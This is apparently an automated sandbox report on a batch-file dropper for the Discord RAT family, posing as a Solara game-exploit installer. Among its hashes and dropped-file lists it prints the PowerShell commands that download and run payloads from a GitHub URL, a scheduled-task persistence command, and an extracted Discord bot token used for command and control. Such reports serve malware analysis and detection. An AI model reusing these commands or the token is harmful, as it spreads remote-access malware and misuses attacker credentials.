Analysis

  • max time kernel
    436s
  • max time network
    1304s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240802-en
  • resource tags

    arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    13-09-2024 18:18

General

  • Target

    installer.bat

  • Size

    865B

  • MD5

    2c19299072040e9e7dd5cef468da267b

  • SHA1

    3ab6fad3a10abf8fb5b703eaa3d60244f18975dc

  • SHA256

    07b5ed831d02ec164c13d86d09faa86be7029d090ea12602d5532918ed6f2b86

  • SHA512

    c8519189baf5601af7267f6e38617f58ba16bdbc9b026d7870ac7e584481652f3619e1569b42a9a9d392e6a9d452ca14e63ff2fc1fc5397db45538b9e819448d

Malware Config

Extracted

Family

discordrat

Attributes
  • discord_token

    MTI4MzkwMzM1MjcxOTAxNTk2Ng.GGkiFE.UJeAu2wEPM4KGVLI7BPdjjiBL-EKR92XuDzB5E

  • server_id

    1281866805501100106

Signatures

  • Discord RAT

    A RAT written in C# using Discord as a C2.

  • Blocklisted process makes network request 5 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Powershell Invoke Web Request.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 11 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 13 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 25 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies data under HKEY_USERS 3 IoCs
  • Modifies registry class 30 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\installer.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1932
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Invoke-WebRequest -Uri https://raw.githubusercontent.com/stopeatingmyfood/undetected-solara-/main/solara/addon.exe -OutFile addon.exe"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4444
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Invoke-WebRequest -Uri https://raw.githubusercontent.com/stopeatingmyfood/undetected-solara-/main/solara/BootstrapperV1.18.exe -OutFile BootstrapperV1.18.exe"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1872
    • C:\Users\Admin\AppData\Local\Temp\addon.exe
      "C:\Users\Admin\AppData\Local\Temp\addon.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4760
      • C:\Windows\SYSTEM32\SCHTASKS.exe
        "SCHTASKS.exe" /create /tn "$77addon.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\addon.exe'" /sc onlogon /rl HIGHEST
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4764
    • C:\Users\Admin\AppData\Local\Temp\BootstrapperV1.18.exe
      "C:\Users\Admin\AppData\Local\Temp\BootstrapperV1.18.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3456
      • C:\Windows\System32\msiexec.exe
        "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\node-v18.16.0-x64.msi" /qn
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2164
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Blocklisted process makes network request
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4132
    • C:\Windows\System32\MsiExec.exe
      C:\Windows\System32\MsiExec.exe -Embedding BB7E97F66868EE7AAC2B2F43D89C585F
      2⤵
      • Loads dropped DLL
      PID:5072
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 3743DC01001A4F07F8AFFAF4ECEF373C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:420
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding B63959B6D131BAAF23BB4517055CBA3E E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:436
      • C:\Windows\SysWOW64\wevtutil.exe
        "wevtutil.exe" im "C:\Program Files\nodejs\node_etw_provider.man"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1364
        • C:\Windows\System32\wevtutil.exe
          "wevtutil.exe" im "C:\Program Files\nodejs\node_etw_provider.man" /fromwow64
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:688

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Config.Msi\e58c988.rbs

    Filesize

    1.0MB

    MD5

    cd5c2ee33e90baf33d1cdac1e379afcd

    SHA1

    768f0e693afd13d27d9fe0e96a35b7f94f8a54cb

    SHA256

    aeada1c1ba58a9b53e5126187ac3f6b825fdcf1bc853e86ef4e35e8ce9c0f6d9

    SHA512

    1d88f0514386538bd83bde67f9382ea5d5fab54931e7aa5afb9c5c87a56506bdd09ff90575c7645867f6e40ce535e24ff80af9d5dfbbaab3306f5115e402798d

  • C:\Program Files\nodejs\node_etw_provider.man

    Filesize

    10KB

    MD5

    1d51e18a7247f47245b0751f16119498

    SHA1

    78f5d95dd07c0fcee43c6d4feab12d802d194d95

    SHA256

    1975aa34c1050b8364491394cebf6e668e2337c3107712e3eeca311262c7c46f

    SHA512

    1eccbe4ddae3d941b36616a202e5bd1b21d8e181810430a1c390513060ae9e3f12cd23f5b66ae0630fd6496b3139e2cc313381b5506465040e5a7a3543444e76

  • C:\Program Files\nodejs\node_etw_provider.man

    Filesize

    8KB

    MD5

    d3bc164e23e694c644e0b1ce3e3f9910

    SHA1

    1849f8b1326111b5d4d93febc2bafb3856e601bb

    SHA256

    1185aaa5af804c6bc6925f5202e68bb2254016509847cd382a015907440d86b4

    SHA512

    91ebff613f4c35c625bb9b450726167fb77b035666ed635acf75ca992c4846d952655a2513b4ecb8ca6f19640d57555f2a4af3538b676c3bd2ea1094c4992854

  • C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\arborist\LICENSE.md

    Filesize

    818B

    MD5

    2916d8b51a5cc0a350d64389bc07aef6

    SHA1

    c9d5ac416c1dd7945651bee712dbed4d158d09e1

    SHA256

    733dcbf5b1c95dc765b76db969b998ce0cbb26f01be2e55e7bccd6c7af29cb04

    SHA512

    508c5d1842968c478e6b42b94e04e0b53a342dfaf52d55882fdcfe02c98186e9701983ab5e9726259fba8336282e20126c70d04fc57964027586a40e96c56b74

  • C:\Program Files\nodejs\node_modules\npm\node_modules\aggregate-error\license

    Filesize

    1KB

    MD5

    5ad87d95c13094fa67f25442ff521efd

    SHA1

    01f1438a98e1b796e05a74131e6bb9d66c9e8542

    SHA256

    67292c32894c8ac99db06ffa1cb8e9a5171ef988120723ebe673bf76712260ec

    SHA512

    7187720ccd335a10c9698f8493d6caa2d404e7b21731009de5f0da51ad5b9604645fbf4bc640aa94513b9eb372aa6a31df2467198989234bc2afbce87f76fbc3

  • C:\Program Files\nodejs\node_modules\npm\node_modules\bin-links\LICENSE

    Filesize

    754B

    MD5

    d2cf52aa43e18fdc87562d4c1303f46a

    SHA1

    58fb4a65fffb438630351e7cafd322579817e5e1

    SHA256

    45e433413760dc3ae8169be5ed9c2c77adc31ad4d1bc5a28939576df240f29a0

    SHA512

    54e33d7998b5e9ba76b2c852b4d0493ebb1b1ee3db777c97e6606655325ff66124a0c0857ca4d62de96350dbaee8d20604ec22b0edc17b472086da4babbbcb16

  • C:\Program Files\nodejs\node_modules\npm\node_modules\libnpmhook\LICENSE.md

    Filesize

    771B

    MD5

    e9dc66f98e5f7ff720bf603fff36ebc5

    SHA1

    f2b428eead844c4bf39ca0d0cf61f6b10aeeb93b

    SHA256

    b49c8d25a8b57fa92b2902d09c4b8a809157ee32fc10d17b7dbb43c4a8038f79

    SHA512

    8027d65e1556511c884cb80d3c1b846fc9d321f3f83002664ad3805c4dee8e6b0eaf1db81c459153977bdbde9e760b0184ba6572f68d78c37bff617646bcfc3b

  • C:\Program Files\nodejs\node_modules\npm\node_modules\libnpmorg\LICENSE

    Filesize

    730B

    MD5

    072ac9ab0c4667f8f876becedfe10ee0

    SHA1

    0227492dcdc7fb8de1d14f9d3421c333230cf8fe

    SHA256

    2ef361317adeda98117f14c5110182c28eae233af1f7050c83d4396961d14013

    SHA512

    f38fd6506bd9795bb27d31f1ce38b08c9e6f1689c34fca90e9e1d5194fa064d1f34a9c51d15941506ebbbcd6d4193055e9664892521b7e39ebcd61c3b6f25013

  • C:\Program Files\nodejs\node_modules\npm\node_modules\minipass-pipeline\node_modules\minipass\package.json

    Filesize

    1KB

    MD5

    d116a360376e31950428ed26eae9ffd4

    SHA1

    192b8e06fb4e1f97e5c5c7bf62a9bff7704c198b

    SHA256

    c3052bd85910be313e38ad355528d527b565e70ef15a784db3279649eee2ded5

    SHA512

    5221c7648f4299234a4637c47d3f1eb5e147014704913bc6fdad91b9b6a6ccc109bced63376b82b046bb5cad708464c76fb452365b76dbf53161914acf8fb11a

  • C:\Program Files\nodejs\node_modules\npm\node_modules\minizlib\node_modules\minipass\LICENSE

    Filesize

    802B

    MD5

    d7c8fab641cd22d2cd30d2999cc77040

    SHA1

    d293601583b1454ad5415260e4378217d569538e

    SHA256

    04400db77d925de5b0264f6db5b44fe6f8b94f9419ad3473caaa8065c525c0be

    SHA512

    278ff929904be0c19ee5fb836f205e3e5b3e7cec3d26dd42bbf1e7e0ca891bf9c42d2b28fce3741ae92e4a924baf7490c7c6c59284127081015a82e2653e0764

  • C:\Program Files\nodejs\node_modules\npm\node_modules\minizlib\node_modules\minipass\index.js

    Filesize

    16KB

    MD5

    bc0c0eeede037aa152345ab1f9774e92

    SHA1

    56e0f71900f0ef8294e46757ec14c0c11ed31d4e

    SHA256

    7a395802fbe01bb3dc8d09586e0864f255874bf897378e546444fbaec29f54c5

    SHA512

    5f31251825554bf9ed99eda282fa1973fcec4a078796a10757f4fb5592f2783c4ebdd00bdf0d7ed30f82f54a7668446a372039e9d4589db52a75060ca82186b3

  • C:\Program Files\nodejs\node_modules\npm\node_modules\nopt\LICENSE

    Filesize

    780B

    MD5

    b020de8f88eacc104c21d6e6cacc636d

    SHA1

    20b35e641e3a5ea25f012e13d69fab37e3d68d6b

    SHA256

    3f24d692d165989cd9a00fe35ca15a2bc6859e3361fa42aa20babd435f2e4706

    SHA512

    4220617e29dd755ad592295bc074d6bc14d44a1feeed5101129669f3ecf0e34eaa4c7c96bbc83da7352631fa262baab45d4a370dad7dabec52b66f1720c28e38

  • C:\Program Files\nodejs\node_modules\npm\node_modules\promise-all-reject-late\LICENSE

    Filesize

    763B

    MD5

    7428aa9f83c500c4a434f8848ee23851

    SHA1

    166b3e1c1b7d7cb7b070108876492529f546219f

    SHA256

    1fccd0ad2e7e0e31ddfadeaf0660d7318947b425324645aa85afd7227cab52d7

    SHA512

    c7f01de85f0660560206784cdf159b2bdc5f1bc87131f5a8edf384eba47a113005491520b0a25d3cc425985b5def7b189e18ff76d7d562c434dc5d8c82e90cce

  • C:\Program Files\nodejs\node_modules\npm\node_modules\tar\node_modules\fs-minipass\node_modules\minipass\index.d.ts

    Filesize

    4KB

    MD5

    f0bd53316e08991d94586331f9c11d97

    SHA1

    f5a7a6dc0da46c3e077764cfb3e928c4a75d383e

    SHA256

    dd3eda3596af30eda88b4c6c2156d3af6e7fa221f39c46e492c5e9fb697e2fef

    SHA512

    fd6affbaed67d09cf45478f38e92b8ca6c27650a232cbbeaff36e4f7554fb731ae44cf732378641312e98221539e3d8fabe80a7814e4f425026202de44eb5839

  • C:\Program Files\nodejs\node_modules\npm\node_modules\treeverse\LICENSE

    Filesize

    771B

    MD5

    1d7c74bcd1904d125f6aff37749dc069

    SHA1

    21e6dfe0fffc2f3ec97594aa261929a3ea9cf2ab

    SHA256

    24b8d53712087b867030d18f2bd6d1a72c78f9fb4dee0ce025374da25e4443b9

    SHA512

    b5ac03addd29ba82fc05eea8d8d09e0f2fa9814d0dd619c2f7b209a67d95b538c3c2ff70408641ef3704f6a14e710e56f4bf57c2bb3f8957ba164f28ee591778

  • C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Node.js\Node.js documentation.url

    Filesize

    168B

    MD5

    db7dbbc86e432573e54dedbcc02cb4a1

    SHA1

    cff9cfb98cff2d86b35dc680b405e8036bbbda47

    SHA256

    7cf8a9c96f9016132be81fd89f9573566b7dc70244a28eb59d573c2fdba1def9

    SHA512

    8f35f2e7dac250c66b209acecab836d3ecf244857b81bacebc214f0956ec108585990f23ff3f741678e371b0bee78dd50029d0af257a3bb6ab3b43df1e39f2ec

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    5f4c933102a824f41e258078e34165a7

    SHA1

    d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee

    SHA256

    d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2

    SHA512

    a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    17a60c9cac37cf5412f4cd266c22a435

    SHA1

    648aed53b8f323be19dfb75e1c61e9dd95fdd0fd

    SHA256

    de36be11adf1651810ebee5d6214786e3a6045ac7ee51730036385f504d4653d

    SHA512

    43c8160d5e32d6aeae36201e7580dfd2d47b53ceba28443b2aedefd32377448296ce805669b5136686378603af1348d58fb40a59b906c28aed2df6f7d98b4044

  • C:\Users\Admin\AppData\Local\Temp\BootstrapperV1.18.exe

    Filesize

    971KB

    MD5

    2458f330cda521460cc077238ab01b25

    SHA1

    13312b4dffbdda09da2f1848cc713bbe781c5543

    SHA256

    dc67b264b90e29cf5cffed4453de4567398faa7f3bf18e69e84033c5b33ab05c

    SHA512

    8f027ebd96901f5a22aad34191244b1786dfb66843cbe05a8470d930415d85d86430267da09e7f1a69b8011b170d229e7fb25ecf0bf7d9209d7b910b2cbab48b

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ylitaobk.5ws.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\addon.exe

    Filesize

    78KB

    MD5

    c9dd1c39262086a465599d62c072e51f

    SHA1

    c6cdf46caf6dd919355bbd3b521fd1ba221d3d2b

    SHA256

    79e9bf7009d97df7ed2e69de1aa6ab4ca5887e300bbf4a2381a38eff4f5e9ebb

    SHA512

    0baf3aaaf40cf0c8341ac9d407b7b8b3f11855c79031f90f632beec3b160e7969ac08e9f97367938539a185987aee3985ad1157095a06d80dd8737f4fb8fdf47

  • C:\Users\Admin\AppData\Local\Temp\node-v18.16.0-x64.msi

    Filesize

    30.1MB

    MD5

    0e4e9aa41d24221b29b19ba96c1a64d0

    SHA1

    231ade3d5a586c0eb4441c8dbfe9007dc26b2872

    SHA256

    5bfb6f3ab89e198539408f7e0e8ec0b0bd5efe8898573ec05b381228efb45a5d

    SHA512

    e6f27aecead72dffecbeaad46ebdf4b1fd3dbcddd1f6076ba183b654e4e32d30f7af1236bf2e04459186e993356fe2041840671be73612c8afed985c2c608913

  • C:\Windows\Installer\MSICC05.tmp

    Filesize

    122KB

    MD5

    9fe9b0ecaea0324ad99036a91db03ebb

    SHA1

    144068c64ec06fc08eadfcca0a014a44b95bb908

    SHA256

    e2cce64916e405976a1d0c522b44527d12b1cba19de25da62121cf5f41d184c9

    SHA512

    906641a73d69a841218ae90b83714a05af3537eec8ad1d761f58ac365cf005bdd74ad88f71c4437aaa126ac74fa46bcad424d17c746ab197eec2caa1bd838176

  • C:\Windows\Installer\MSICC36.tmp

    Filesize

    211KB

    MD5

    a3ae5d86ecf38db9427359ea37a5f646

    SHA1

    eb4cb5ff520717038adadcc5e1ef8f7c24b27a90

    SHA256

    c8d190d5be1efd2d52f72a72ae9dfa3940ab3faceb626405959349654fe18b74

    SHA512

    96ecb3bc00848eeb2836e289ef7b7b2607d30790ffd1ae0e0acfc2e14f26a991c6e728b8dc67280426e478c70231f9e13f514e52c8ce7d956c1fad0e322d98e0

  • C:\Windows\Installer\MSID418.tmp

    Filesize

    297KB

    MD5

    7a86ce1a899262dd3c1df656bff3fb2c

    SHA1

    33dcbe66c0dc0a16bab852ed0a6ef71c2d9e0541

    SHA256

    b8f2d0909d7c2934285a8be010d37c0609c7854a36562cbfcbce547f4f4c7b0c

    SHA512

    421e8195c47381de4b3125ab6719eec9be7acd2c97ce9247f4b70a309d32377917c9686b245864e914448fe53df2694d5ee5f327838d029989ba7acafda302ec

  • memory/1872-33-0x00007FFA86510000-0x00007FFA86FD2000-memory.dmp

    Filesize

    10.8MB

  • memory/1872-18-0x00007FFA86510000-0x00007FFA86FD2000-memory.dmp

    Filesize

    10.8MB

  • memory/1872-19-0x00007FFA86510000-0x00007FFA86FD2000-memory.dmp

    Filesize

    10.8MB

  • memory/1872-25-0x00007FFA86510000-0x00007FFA86FD2000-memory.dmp

    Filesize

    10.8MB

  • memory/1872-30-0x00007FFA86510000-0x00007FFA86FD2000-memory.dmp

    Filesize

    10.8MB

  • memory/3456-42-0x000001485B040000-0x000001485B13A000-memory.dmp

    Filesize

    1000KB

  • memory/3456-2423-0x0000014875790000-0x000001487579A000-memory.dmp

    Filesize

    40KB

  • memory/3456-2425-0x00000148759C0000-0x00000148759D2000-memory.dmp

    Filesize

    72KB

  • memory/4444-0-0x00007FFA86513000-0x00007FFA86515000-memory.dmp

    Filesize

    8KB

  • memory/4444-16-0x00007FFA86510000-0x00007FFA86FD2000-memory.dmp

    Filesize

    10.8MB

  • memory/4444-12-0x00007FFA86510000-0x00007FFA86FD2000-memory.dmp

    Filesize

    10.8MB

  • memory/4444-11-0x00007FFA86510000-0x00007FFA86FD2000-memory.dmp

    Filesize

    10.8MB

  • memory/4444-10-0x00007FFA86510000-0x00007FFA86FD2000-memory.dmp

    Filesize

    10.8MB

  • memory/4444-1-0x000001E2CE690000-0x000001E2CE6B2000-memory.dmp

    Filesize

    136KB

  • memory/4760-39-0x000001AAB0130000-0x000001AAB0148000-memory.dmp

    Filesize

    96KB

  • memory/4760-40-0x000001AACA880000-0x000001AACAA42000-memory.dmp

    Filesize

    1.8MB

  • memory/4760-43-0x000001AACBC50000-0x000001AACC178000-memory.dmp

    Filesize

    5.2MB